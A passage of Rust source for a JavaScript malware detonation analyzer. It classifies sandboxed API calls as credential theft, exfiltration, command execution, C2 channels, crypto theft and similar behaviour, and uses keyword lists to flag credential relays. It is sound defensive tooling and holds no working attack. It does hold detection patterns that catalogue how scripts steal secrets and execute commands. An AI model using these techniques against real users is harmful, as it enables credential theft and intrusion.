use crate::observation::{CookieOp, Observation, Value};
#[derive(Default)]
struct AnalysisState {
findings: Vec<BehavioralFinding>,
timeline: Vec<TimelineEntry>,
has_cookie_read: bool,
has_external_fetch: bool,
has_storage_write: bool,
has_credential_surface: bool,
has_fingerprint_access: bool,
dynamic_code_indices: Vec<usize>,
external_urls: Vec<String>,
cookie_read_idx: Option<usize>,
fetch_indices: Vec<usize>,
storage_write_indices: Vec<usize>,
credential_surface_indices: Vec<usize>,
credential_api_indices: Vec<usize>,
external_credential_action_indices: Vec<usize>,
fingerprint_indices: Vec<usize>,
fingerprint_apis: Vec<String>,
popup_indices: Vec<usize>,
postmessage_indices: Vec<usize>,
wildcard_postmessage_indices: Vec<usize>,
broadcast_channel_indices: Vec<usize>,
message_channel_indices: Vec<usize>,
message_port_indices: Vec<usize>,
storage_event_register_indices: Vec<usize>,
storage_event_fire_indices: Vec<usize>,
window_name_indices: Vec<usize>,
shared_worker_message_indices: Vec<usize>,
service_worker_indices: Vec<usize>,
worker_indices: Vec<usize>,
websocket_indices: Vec<usize>,
webrtc_indices: Vec<usize>,
webrtc_data_send_indices: Vec<usize>,
wasm_indices: Vec<usize>,
has_wallet_connect: bool,
has_sign_transaction: bool,
has_sign_message: bool,
has_chain_switch: bool,
wallet_connect_idx: Option<usize>,
sign_indices: Vec<usize>,
has_clipboard_write: bool,
has_clipboard_read: bool,
clipboard_write_content: Option<String>,
timer_indices: Vec<usize>,
long_delay_timer_indices: Vec<usize>,
notification_permission_indices: Vec<usize>,
notification_create_indices: Vec<usize>,
payment_request_indices: Vec<usize>,
geolocation_indices: Vec<usize>,
crypto_operation_indices: Vec<usize>,
crypto_decrypt_indices: Vec<usize>,
crypto_import_key_indices: Vec<usize>,
indexed_db_indices: Vec<usize>,
trusted_types_indices: Vec<usize>,
scheduler_indices: Vec<usize>,
blob_url_indices: Vec<usize>,
html_blob_url_indices: Vec<usize>,
blob_navigation_indices: Vec<usize>,
mutation_observer_indices: Vec<usize>,
intersection_observer_indices: Vec<usize>,
resize_observer_indices: Vec<usize>,
input_monitor_indices: Vec<usize>,
input_monitor_events: Vec<String>,
dialog_indices: Vec<usize>,
urgent_dialog_indices: Vec<usize>,
beforeunload_register_indices: Vec<usize>,
beforeunload_trigger_indices: Vec<usize>,
fullscreen_indices: Vec<usize>,
pointer_lock_indices: Vec<usize>,
vibration_indices: Vec<usize>,
speech_indices: Vec<usize>,
pagehide_register_indices: Vec<usize>,
visibilitychange_register_indices: Vec<usize>,
beacon_indices: Vec<usize>,
history_state_indices: Vec<usize>,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
pub struct BehavioralFinding {
pub severity: Severity,
pub category: Category,
pub title: String,
pub detail: String,
pub evidence: Vec<usize>,
}
pub use ::secfinding::Severity;
pub trait SeverityVisuals {
fn icon(self) -> &'static str;
fn color_code(self) -> &'static str;
}
impl SeverityVisuals for Severity {
fn icon(self) -> &'static str {
match self {
Severity::Critical => "!!!",
Severity::High => "!!",
Severity::Medium => "!",
Severity::Low => "~",
Severity::Info => "i",
_ => "i",
}
}
fn color_code(self) -> &'static str {
match self {
Severity::Critical => "\x1b[91m",
Severity::High => "\x1b[31m",
Severity::Medium => "\x1b[33m",
Severity::Low => "\x1b[36m",
Severity::Info => "\x1b[90m",
_ => "\x1b[90m",
}
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
pub enum Category {
CredentialTheft,
DataExfiltration,
CodeInjection,
Persistence,
Fingerprinting,
Evasion,
NetworkActivity,
PermissionAbuse,
CookieAccess,
DomManipulation,
CryptoTheft,
ClipboardHijack,
PrivacyViolation,
}
impl Category {
#[must_use]
pub fn label(self) -> &'static str {
match self {
Self::CredentialTheft => "CREDENTIAL THEFT",
Self::DataExfiltration => "DATA EXFILTRATION",
Self::CodeInjection => "CODE INJECTION",
Self::Persistence => "PERSISTENCE",
Self::Fingerprinting => "FINGERPRINTING",
Self::Evasion => "EVASION",
Self::NetworkActivity => "NETWORK",
Self::PermissionAbuse => "PERMISSION ABUSE",
Self::CookieAccess => "COOKIE ACCESS",
Self::DomManipulation => "DOM MUTATION",
Self::CryptoTheft => "CRYPTO THEFT",
Self::ClipboardHijack => "CLIPBOARD HIJACK",
Self::PrivacyViolation => "PRIVACY VIOLATION",
}
}
#[must_use]
pub fn color_code(self) -> &'static str {
match self {
Self::CredentialTheft
| Self::DataExfiltration
| Self::CodeInjection
| Self::CryptoTheft => "\x1b[31m",
Self::PermissionAbuse | Self::NetworkActivity | Self::ClipboardHijack => "\x1b[33m",
Self::Persistence
| Self::CookieAccess
| Self::Evasion
| Self::Fingerprinting
| Self::PrivacyViolation => "\x1b[36m",
Self::DomManipulation => "\x1b[90m",
}
}
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
pub struct TimelineEntry {
pub index: usize,
pub action: String,
pub category: Category,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
pub struct AnalysisReport {
pub findings: Vec<BehavioralFinding>,
pub timeline: Vec<TimelineEntry>,
pub risk_score: u8,
pub observation_count: usize,
}
impl AnalysisReport {
#[must_use]
pub fn format_text(&self, target: &str, duration_us: u64) -> String {
let reset = "\x1b[0m";
let bold = "\x1b[1m";
let dim = "\x1b[2m";
let mut out = String::new();
out.push_str(&format!(
"\n{bold}jsdet v0.1.0 - JavaScript Detonation Report{reset}\n"
));
out.push_str(&"━".repeat(55));
out.push('\n');
out.push_str(&format!("Target: {target}\n"));
out.push_str(&format!(
"Duration: {:.1}ms | Observations: {}\n",
duration_us as f64 / 1000.0,
self.observation_count
));
let risk_color = if self.risk_score >= 80 {
"\x1b[91m"
} else if self.risk_score >= 50 {
"\x1b[33m"
} else if self.risk_score >= 20 {
"\x1b[36m"
} else {
"\x1b[32m"
};
out.push_str(&format!(
"Risk: {risk_color}{bold}{}/100{reset}\n",
self.risk_score
));
out.push('\n');
if self.findings.is_empty() {
out.push_str(&format!("{dim}No behavioral findings.{reset}\n"));
} else {
out.push_str(&format!("{bold}Behavioral Summary:{reset}\n"));
for finding in &self.findings {
let color = finding.severity.color_code();
let icon = finding.severity.icon();
out.push_str(&format!(
" {color}[{icon}] {}{reset} - {}\n",
finding.category.label(),
finding.title,
));
out.push_str(&format!(" {dim}{}{reset}\n", finding.detail));
}
out.push('\n');
}
if !self.timeline.is_empty() {
out.push_str(&format!("{bold}Timeline:{reset}\n"));
for (i, entry) in self.timeline.iter().take(20).enumerate() {
let color = entry.category.color_code();
out.push_str(&format!(
" {dim}{:>3}.{reset} {color}{}{reset}\n",
i + 1,
entry.action
));
}
if self.timeline.len() > 20 {
out.push_str(&format!(
" {dim}... and {} more{reset}\n",
self.timeline.len() - 20
));
}
}
out
}
}
#[must_use]
pub fn analyze(observations: &[Observation]) -> AnalysisReport {
let mut s = AnalysisState::default();
for (i, obs) in observations.iter().enumerate() {
match obs {
Observation::ApiCall { api, args, .. } => {
let args_str = args
.iter()
.map(|a| a.to_string())
.collect::<Vec<_>>()
.join(", ");
s.timeline.push(TimelineEntry {
index: i,
action: format!("{api}({args_str})"),
category: categorize_api(api),
});
if api.contains("cookie") && api.contains("get") {
s.has_cookie_read = true;
s.cookie_read_idx = Some(i);
}
if api == "eval" || api == "Function" {
s.dynamic_code_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CodeInjection,
title: format!("Dynamic code execution via {api}"),
detail: format!(
"Script invokes {api} through the browser bridge, indicating runtime code generation or staged loader execution"
),
evidence: vec![i],
});
}
if api == "fingerprint.read" {
let fingerprint_api =
extract_first_string_arg(args).unwrap_or_else(|| "fingerprint".into());
let detail = extract_second_string_arg(args).unwrap_or_default();
s.has_fingerprint_access = true;
s.fingerprint_indices.push(i);
s.fingerprint_apis.push(fingerprint_api.clone());
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Fingerprinting,
title: format!("Browser fingerprint read: {fingerprint_api}"),
detail: if detail.is_empty() {
"Script inspects browser identity or environment data".into()
} else {
format!(
"Script inspects browser identity or environment data via {fingerprint_api}: {detail}"
)
},
evidence: vec![i],
});
}
if api == "timer.setTimeout" || api == "timer.setInterval" {
let delay_ms = extract_delay_arg(args).unwrap_or_default();
let is_interval = api == "timer.setInterval";
s.timer_indices.push(i);
if delay_ms >= 3_000 {
s.long_delay_timer_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: if is_interval {
format!("Long-lived interval timer: {delay_ms}ms")
} else {
format!("Delayed execution timer: {delay_ms}ms")
},
detail: if is_interval {
"Script schedules repeated delayed execution, a common way to stagger abuse or survive initial analysis windows".into()
} else {
"Script defers execution for several seconds, a common staging and anti-analysis tactic".into()
},
evidence: vec![i],
});
}
}
if api == "element.addEventListener" {
let event_type =
extract_second_string_arg(args).unwrap_or_else(|| "unknown".into());
if matches!(
event_type.as_str(),
"input" | "keydown" | "keyup" | "keypress" | "change" | "paste"
) {
s.input_monitor_indices.push(i);
s.input_monitor_events.push(event_type.clone());
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::CredentialTheft,
title: format!("Credential input monitor attached: {event_type}"),
detail: "Script attaches live input or keyboard listeners that can observe user-entered credentials as they are typed".into(),
evidence: vec![i],
});
}
}
if api == "window.alert" || api == "window.confirm" || api == "window.prompt" {
let kind = api.split('.').next_back().unwrap_or("dialog");
let message = extract_first_string_arg(args).unwrap_or_default();
s.dialog_indices.push(i);
if is_urgent_dialog_message(&message) {
s.urgent_dialog_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: format!("Urgent blocking {kind} dialog"),
detail: "Script displays an urgent blocking dialog, a common social-engineering and lock-in tactic".into(),
evidence: vec![i],
});
}
}
if api == "window.beforeunload.register" {
s.beforeunload_register_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: "Navigation trap registered".into(),
detail:
"Script hooks beforeunload to discourage navigation away from the page"
.into(),
evidence: vec![i],
});
}
if api == "window.beforeunload.trigger" {
s.beforeunload_trigger_indices.push(i);
}
if api == "element.requestFullscreen" {
s.fullscreen_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: "Fullscreen UI lock-in surface".into(),
detail: "Script requests fullscreen mode, a common coercion tactic used to trap or dominate the user's view".into(),
evidence: vec![i],
});
}
if api == "element.requestPointerLock" {
s.pointer_lock_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: "Pointer-lock UI trap surface".into(),
detail: "Script requests pointer lock, a coercive UI tactic used to impede normal navigation or escape".into(),
evidence: vec![i],
});
}
if api == "navigator.vibrate" {
s.vibration_indices.push(i);
}
if api == "speechSynthesis.speak" {
s.speech_indices.push(i);
}
if api == "window.pagehide.register" {
s.pagehide_register_indices.push(i);
}
if api == "document.visibilitychange.register" {
s.visibilitychange_register_indices.push(i);
}
if is_child_process_require(api, args) {
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CodeInjection,
title: "Node child_process module loaded".into(),
detail:
"Script imports child_process, enabling command execution primitives"
.into(),
evidence: vec![i],
});
}
if is_command_execution_api(api) {
let command = extract_first_string_arg(args)
.unwrap_or_else(|| args_str.chars().take(200).collect::<String>());
let title = if api == "child_process.spawn" {
"Process spawning via child_process.spawn"
} else {
"Command execution via child_process"
};
let detail = if command.is_empty() {
format!("Script invokes {api}, a direct host command execution sink")
} else {
format!(
"Script invokes {api} with command payload: {}",
command.chars().take(200).collect::<String>()
)
};
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CodeInjection,
title: title.into(),
detail,
evidence: vec![i],
});
}
if api.contains("location.href.set")
|| api.contains("location.assign")
|| api.contains("location.replace")
{
if let Some(url) = extract_first_string_arg(args)
&& (url.starts_with("javascript:") || url.starts_with("data:"))
{
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CodeInjection,
title: format!(
"Dangerous protocol redirect: {}...",
url.chars().take(40).collect::<String>()
),
detail: format!(
"Script redirects via {}",
if url.starts_with("javascript:") {
"javascript: URI - code execution"
} else {
"data: URI - embedded payload"
}
),
evidence: vec![i],
});
}
if let Some(url) = extract_first_string_arg(args)
&& url.starts_with("blob:")
{
s.blob_navigation_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::DomManipulation,
title: format!(
"Blob-backed navigation: {}",
url.chars().take(60).collect::<String>()
),
detail: "Script navigates to an in-memory blob URL, a common staging primitive for hidden HTML or SVG payloads".into(),
evidence: vec![i],
});
}
if let Some(url) = extract_url_from_args(args)
&& is_external_url(&url)
{
s.has_external_fetch = true;
s.external_urls.push(url.clone());
s.fetch_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::NetworkActivity,
title: format!(
"Redirect to external URL: {}",
url.chars().take(60).collect::<String>()
),
detail: format!("Script redirects the page to {url}"),
evidence: vec![i],
});
}
}
if api == "window.open"
&& let Some(url) = extract_url_from_args(args)
&& is_external_url(&url)
{
s.has_external_fetch = true;
s.external_urls.push(url.clone());
s.fetch_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::NetworkActivity,
title: format!(
"Popup pivot to external URL: {}",
url.chars().take(60).collect::<String>()
),
detail: format!(
"Script opens a new browsing context to {url}, a common hosted-login pivot"
),
evidence: vec![i],
});
s.popup_indices.push(i);
}
if api == "window.open"
&& let Some(url) = extract_first_string_arg(args)
&& url.starts_with("blob:")
{
s.popup_indices.push(i);
s.blob_navigation_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::DomManipulation,
title: format!(
"Popup pivot to blob URL: {}",
url.chars().take(60).collect::<String>()
),
detail: "Script opens a popup to an in-memory blob URL, a strong staged-lure or hidden payload pattern".into(),
evidence: vec![i],
});
}
if api == "window.name.set" {
s.window_name_indices.push(i);
let destination =
extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "Cross-navigation relay state via window.name".into(),
detail: format!(
"Script stores data in window.name for reuse after navigation or popup pivots: {destination}"
),
evidence: vec![i],
});
}
if api == "navigator.sendBeacon"
&& let Some(url) = extract_url_from_args(args)
&& is_external_url(&url)
{
s.has_external_fetch = true;
s.external_urls.push(url.clone());
s.fetch_indices.push(i);
s.beacon_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::DataExfiltration,
title: format!(
"sendBeacon exfiltration to: {}",
url.chars().take(60).collect::<String>()
),
detail:
"navigator.sendBeacon fires even during page unload - stealthy data exfiltration"
.into(),
evidence: vec![i],
});
}
if (api == "fetch" || api.contains("xhr"))
&& let Some(url) = extract_url_from_args(args)
&& is_external_url(&url)
{
s.has_external_fetch = true;
s.external_urls.push(url);
s.fetch_indices.push(i);
}
if api.contains("setInnerHTML") || api.contains("document.write") {
let raw_html = extract_first_string_arg(args)
.or_else(|| args.iter().find_map(Value::as_str).map(ToString::to_string))
.unwrap_or_default();
let content = raw_html.to_ascii_lowercase();
if content.contains("password") || content.contains("type=\"password") {
s.has_credential_surface = true;
s.credential_surface_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: "Credential form injected via innerHTML/document.write".into(),
detail: "Script injects HTML containing a password field".into(),
evidence: vec![i],
});
}
if content.contains("<form")
&& content.contains("action=")
&& let Some(start) = content.find("action=")
{
let rest = &content[start + 7..];
let rest = rest.trim_start_matches('"').trim_start_matches('\'');
let end = rest.find(['"', '\'', ' ', '>']).unwrap_or(rest.len());
let action_url = &rest[..end];
if action_url.starts_with("http") {
s.has_external_fetch = true;
s.external_urls.push(action_url.to_string());
s.fetch_indices.push(i);
s.external_credential_action_indices.push(i);
}
}
}
if api.contains("setAttribute") {
let content = args_str.to_ascii_lowercase();
if content.contains("action")
&& let Some(url) = extract_url_from_args(args)
&& is_external_url(&url)
{
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: format!(
"Form submits to external URL: {}",
url.chars().take(60).collect::<String>()
),
detail: format!("Credential form sends data to {url}"),
evidence: vec![i],
});
s.has_external_fetch = true;
s.external_urls.push(url);
s.fetch_indices.push(i);
}
}
if api == "taint_sink_reached" {
let sink_name = extract_url_from_args(args).unwrap_or_else(|| "unknown".into());
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CodeInjection,
title: format!("CONFIRMED: Tainted data reached {sink_name}"),
detail: format!("User-controlled input flowed through string operations to {sink_name}() - this is a confirmed code injection vulnerability, not a heuristic guess."),
evidence: vec![i],
});
}
if api == "credential_form_detected" {
let action_url = extract_url_from_args(args).unwrap_or_default();
let has_password = args_str.contains("true");
let is_external_action = action_url.starts_with("http://")
|| action_url.starts_with("https://")
|| action_url.starts_with("//");
if has_password && is_external_action {
s.has_credential_surface = true;
s.credential_surface_indices.push(i);
s.external_credential_action_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CredentialTheft,
title: format!(
"Credential form submits to: {}",
action_url.chars().take(60).collect::<String>()
),
detail: format!(
"Form with password field submits to external URL: {action_url}"
),
evidence: vec![i],
});
s.has_external_fetch = true;
s.external_urls.push(action_url);
s.fetch_indices.push(i);
}
}
if api == "PasswordCredential" || api == "credentials.create" {
s.has_credential_surface = true;
s.credential_surface_indices.push(i);
s.credential_api_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "Credential Management API surface created".into(),
detail: "Script initializes PasswordCredential or navigator.credentials.create, indicating explicit browser-managed credential capture".into(),
evidence: vec![i],
});
}
if matches!(
api.as_str(),
"showOpenFilePicker"
| "showSaveFilePicker"
| "showDirectoryPicker"
| "navigator.contacts.select"
| "navigator.share"
) {
s.has_fingerprint_access = true;
s.fingerprint_apis.push(api.clone());
s.fingerprint_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "Local data targeting surface".into(),
detail: "Script probes or invokes local file, contact, or share surfaces that can be abused to capture or stage user data beyond a simple page flow".into(),
evidence: vec![i],
});
}
if matches!(
api.as_str(),
"navigator.mediaDevices.getUserMedia"
| "navigator.mediaDevices.getDisplayMedia"
| "navigator.mediaDevices.enumerateDevices"
) {
s.has_fingerprint_access = true;
s.fingerprint_apis.push(api.clone());
s.fingerprint_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "Capture-device targeting surface".into(),
detail: "Script probes microphone, camera, screen-capture, or media-device enumeration surfaces that are commonly used in adaptive credential theft and live-session abuse".into(),
evidence: vec![i],
});
}
if matches!(
api.as_str(),
"navigator.registerProtocolHandler"
| "navigator.setAppBadge"
| "navigator.clearAppBadge"
| "launchQueue.setConsumer"
) {
s.has_fingerprint_access = true;
s.fingerprint_apis.push(api.clone());
s.fingerprint_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "Install/persistence surface".into(),
detail: "Script touches protocol-handler, app-badge, or launch-queue surfaces associated with durable install-style persistence rather than a transient page flow".into(),
evidence: vec![i],
});
}
if matches!(
api.as_str(),
"caches.open"
| "cache.put"
| "cache.match"
| "cache.add"
| "cache.addAll"
| "pushManager.subscribe"
| "sync.register"
| "periodicSync.register"
) {
s.has_fingerprint_access = true;
s.fingerprint_apis.push(api.clone());
s.fingerprint_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "Offline/push persistence surface".into(),
detail: "Script touches cache, push, or background sync surfaces associated with durable offline staging or background re-entry beyond a transient page interaction".into(),
evidence: vec![i],
});
}
if api == "PublicKeyCredential.create"
|| api == "PublicKeyCredential.get"
|| api == "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable"
|| api == "PublicKeyCredential.isConditionalMediationAvailable"
{
s.has_fingerprint_access = true;
s.has_credential_surface = true;
s.fingerprint_apis.push(api.clone());
s.fingerprint_indices.push(i);
s.credential_surface_indices.push(i);
s.credential_api_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::CredentialTheft,
title: "WebAuthn/passkey targeting surface".into(),
detail: "Script probes or invokes PublicKeyCredential/WebAuthn flows, indicating passkey-aware credential targeting rather than a simple password-only lure".into(),
evidence: vec![i],
});
}
if api == "credentials.store" {
s.storage_write_indices.push(i);
s.has_storage_write = true;
s.credential_api_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::Persistence,
title: "Credential Management API storage".into(),
detail: "Script calls navigator.credentials.store, persisting browser-managed credential state for later reuse".into(),
evidence: vec![i],
});
}
if api.contains("postMessage") {
let target_origin = extract_postmessage_target_origin(args);
let message_preview = extract_postmessage_payload(args).unwrap_or_default();
let lower_args = format!(
"{} {}",
args_str.to_ascii_lowercase(),
message_preview.to_ascii_lowercase()
);
let carries_credentials = ["password", "otp", "email", "token", "code"]
.iter()
.any(|needle| lower_args.contains(needle));
s.postmessage_indices.push(i);
if target_origin
.as_deref()
.is_some_and(is_wildcard_target_origin)
{
s.wildcard_postmessage_indices.push(i);
s.findings.push(BehavioralFinding {
severity: if carries_credentials {
Severity::Critical
} else {
Severity::High
},
category: if carries_credentials {
Category::CredentialTheft
} else {
Category::PermissionAbuse
},
title: if carries_credentials {
"Credential relay via wildcard postMessage".into()
} else {
"Wildcard postMessage target origin".into()
},
detail: if carries_credentials {
"Script relays credential-like data to a wildcard target origin, allowing any recipient window to receive the payload".into()
} else {
"Script uses postMessage with '*' or null target origin, weakening origin isolation between contexts".into()
},
evidence: vec![i],
});
}
if let Some(url) = target_origin.filter(|url| is_external_url(url)) {
s.has_external_fetch = true;
s.external_urls.push(url.clone());
s.fetch_indices.push(i);
s.findings.push(BehavioralFinding {
severity: if carries_credentials {
Severity::Critical
} else {
Severity::High
},
category: if carries_credentials {
Category::CredentialTheft
} else {
Category::NetworkActivity
},
title: if carries_credentials {
"Credential relay via postMessage".into()
} else {
format!(
"Cross-context relay via postMessage to {}",
url.chars().take(60).collect::<String>()
)
},
detail: if carries_credentials {
format!(
"Script relays credential-like payloads to external target {url}"
)
} else {
format!(
"Script relays data to another browsing context with target {url}"
)
},
evidence: vec![i],
});
}
}
if api == "broadcastChannel.create" {
s.broadcast_channel_indices.push(i);
let channel_name =
extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::NetworkActivity,
title: format!("BroadcastChannel relay setup: {channel_name}"),
detail: "Script creates a BroadcastChannel for cross-context coordination inside the browser".into(),
evidence: vec![i],
});
}
if api == "broadcastChannel.postMessage" {
s.broadcast_channel_indices.push(i);
let channel_name =
extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
let message_preview = extract_second_string_arg(args).unwrap_or_default();
let lower_args = format!(
"{} {}",
args_str.to_ascii_lowercase(),
message_preview.to_ascii_lowercase()
);
let carries_credentials = ["password", "otp", "email", "token", "code"]
.iter()
.any(|needle| lower_args.contains(needle));
s.findings.push(BehavioralFinding {
severity: if carries_credentials {
Severity::Critical
} else {
Severity::High
},
category: if carries_credentials {
Category::CredentialTheft
} else {
Category::NetworkActivity
},
title: if carries_credentials {
format!("Credential relay via BroadcastChannel: {channel_name}")
} else {
format!("BroadcastChannel cross-context relay: {channel_name}")
},
detail: if carries_credentials {
"Script relays credential-like payloads across browser contexts via BroadcastChannel".into()
} else {
"Script relays data across browser contexts via BroadcastChannel, a covert staging and coordination primitive".into()
},
evidence: vec![i],
});
}
if api == "messageChannel.create" {
s.message_channel_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::NetworkActivity,
title: "MessageChannel relay setup".into(),
detail:
"Script creates a MessageChannel for direct cross-context coordination"
.into(),
evidence: vec![i],
});
}
if api == "messagePort.postMessage" {
s.message_port_indices.push(i);
let port_name = extract_first_string_arg(args).unwrap_or_else(|| "port".into());
let message_preview = extract_second_string_arg(args).unwrap_or_default();
let lower_args = format!(
"{} {}",
args_str.to_ascii_lowercase(),
message_preview.to_ascii_lowercase()
);
let carries_credentials = ["password", "otp", "email", "token", "code"]
.iter()
.any(|needle| lower_args.contains(needle));
s.findings.push(BehavioralFinding {
severity: if carries_credentials {
Severity::Critical
} else {
Severity::High
},
category: if carries_credentials {
Category::CredentialTheft
} else {
Category::NetworkActivity
},
title: if carries_credentials {
format!("Credential relay via MessagePort: {port_name}")
} else {
format!("MessagePort cross-context relay: {port_name}")
},
detail: if carries_credentials {
"Script relays credential-like payloads across execution contexts through a MessagePort".into()
} else {
"Script uses MessagePort to move data across execution contexts outside ordinary request paths".into()
},
evidence: vec![i],
});
}
if api == "sharedworker.port.postMessage" {
s.shared_worker_message_indices.push(i);
let worker_url =
extract_first_string_arg(args).unwrap_or_else(|| "shared_worker".into());
let message_preview = extract_second_string_arg(args).unwrap_or_default();
let lower_args = format!(
"{} {}",
args_str.to_ascii_lowercase(),
message_preview.to_ascii_lowercase()
);
let carries_credentials = ["password", "otp", "email", "token", "code"]
.iter()
.any(|needle| lower_args.contains(needle));
s.findings.push(BehavioralFinding {
severity: if carries_credentials {
Severity::Critical
} else {
Severity::High
},
category: if carries_credentials {
Category::CredentialTheft
} else {
Category::Persistence
},
title: if carries_credentials {
format!("Credential relay via SharedWorker port: {worker_url}")
} else {
format!("SharedWorker port relay: {worker_url}")
},
detail: if carries_credentials {
"Script relays credential-like payloads through a SharedWorker port, allowing cross-tab or cross-page theft outside the main execution context".into()
} else {
"Script sends data through a SharedWorker port, a background coordination primitive that survives across same-origin contexts".into()
},
evidence: vec![i],
});
}
if api.contains("Storage.setItem") || api.contains("storage.set") {
s.has_storage_write = true;
s.storage_write_indices.push(i);
}
if api == "storageEvent.register" {
s.storage_event_register_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::NetworkActivity,
title: "Cross-tab storage event listener".into(),
detail: "Script registers a storage event handler, a covert coordination primitive for cross-tab relay and staged reuse of captured state".into(),
evidence: vec![i],
});
}
if api == "storageEvent.fire" {
s.storage_event_fire_indices.push(i);
let area = extract_first_string_arg(args).unwrap_or_else(|| "storage".into());
let key = extract_second_string_arg(args).unwrap_or_default();
let value = extract_third_string_arg(args).unwrap_or_default();
let lower_args = format!(
"{} {} {} {}",
args_str.to_ascii_lowercase(),
area.to_ascii_lowercase(),
key.to_ascii_lowercase(),
value.to_ascii_lowercase()
);
let carries_credentials = ["password", "otp", "email", "token", "code"]
.iter()
.any(|needle| lower_args.contains(needle));
s.findings.push(BehavioralFinding {
severity: if carries_credentials {
Severity::Critical
} else {
Severity::High
},
category: if carries_credentials {
Category::CredentialTheft
} else {
Category::Persistence
},
title: if carries_credentials {
"Credential relay via storage event".into()
} else {
"Cross-tab storage-event coordination".into()
},
detail: if carries_credentials {
format!(
"Script relays credential-like state via a {} storage event on key {}",
area,
if key.is_empty() { "<clear>".into() } else { key.clone() }
)
} else {
format!(
"Script fires a {} storage event on key {} to coordinate staged activity across same-origin contexts",
area,
if key.is_empty() { "<clear>".into() } else { key.clone() }
)
},
evidence: vec![i],
});
}
if api.contains("executeScript") {
s.findings.push(BehavioralFinding {
severity: Severity::Critical,
category: Category::CodeInjection,
title: "Remote code execution via executeScript".into(),
detail: format!("Extension injects code into browser tabs via {api}"),
evidence: vec![i],
});
}
if (api.contains("websocket.connect") || api.contains("websocket.send"))
&& let Some(url) = extract_url_from_args(args).or_else(|| {
args.first().and_then(Value::as_str).and_then(|s| {
if s.starts_with('[') {
serde_json::from_str::<Vec<serde_json::Value>>(s)
.ok()
.and_then(|arr| {
arr.first()
.and_then(|v| v.as_str().map(ToString::to_string))
})
} else if s.starts_with("ws://") || s.starts_with("wss://") {
Some(s.to_string())
} else {
None
}
})
})
{
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::NetworkActivity,
title: format!(
"WebSocket connection to: {}",
url.chars().take(60).collect::<String>()
),
detail: format!("Persistent C2 channel via WebSocket to {url}"),
evidence: vec![i],
});
s.has_external_fetch = true;
s.external_urls.push(url);
s.fetch_indices.push(i);
s.websocket_indices.push(i);
}
if api.starts_with("webrtc.") {
s.webrtc_indices.push(i);
let op = api.trim_start_matches("webrtc.");
if matches!(
op,
"peer_connection"
| "create_offer"
| "create_answer"
| "set_local_description"
| "set_remote_description"
| "ice_candidate"
) {
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Fingerprinting,
title: format!("WebRTC peer setup: {op}"),
detail: "Script initializes WebRTC primitives that can expose local network metadata or create covert peer channels".into(),
evidence: vec![i],
});
}
if op == "data_channel" {
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::NetworkActivity,
title: "WebRTC data channel created".into(),
detail: "Script creates a WebRTC data channel that can bypass normal HTTP visibility".into(),
evidence: vec![i],
});
}
if op == "data_channel_send" {
s.webrtc_data_send_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::High,
category: Category::DataExfiltration,
title: "WebRTC data channel transmission".into(),
detail: "Script sends payload data over a WebRTC data channel, a covert peer-to-peer exfiltration path".into(),
evidence: vec![i],
});
}
}
if api.contains("worker.create") || api.contains("sharedworker.create") {
s.worker_indices.push(i);
s.findings.push(BehavioralFinding {
severity: Severity::Medium,
category: Category::Evasion,
title: "Web Worker created - possible payload hiding".into(),
detail: "Script creates a Worker thread for background execution".into(),
evidence: vec![i],
});
}
if api.contains("wasm.instantiate") || api.contains("wasm.compile") {
s.wasm_indices.push(i);
s.findings.push(BehavioralFinding {
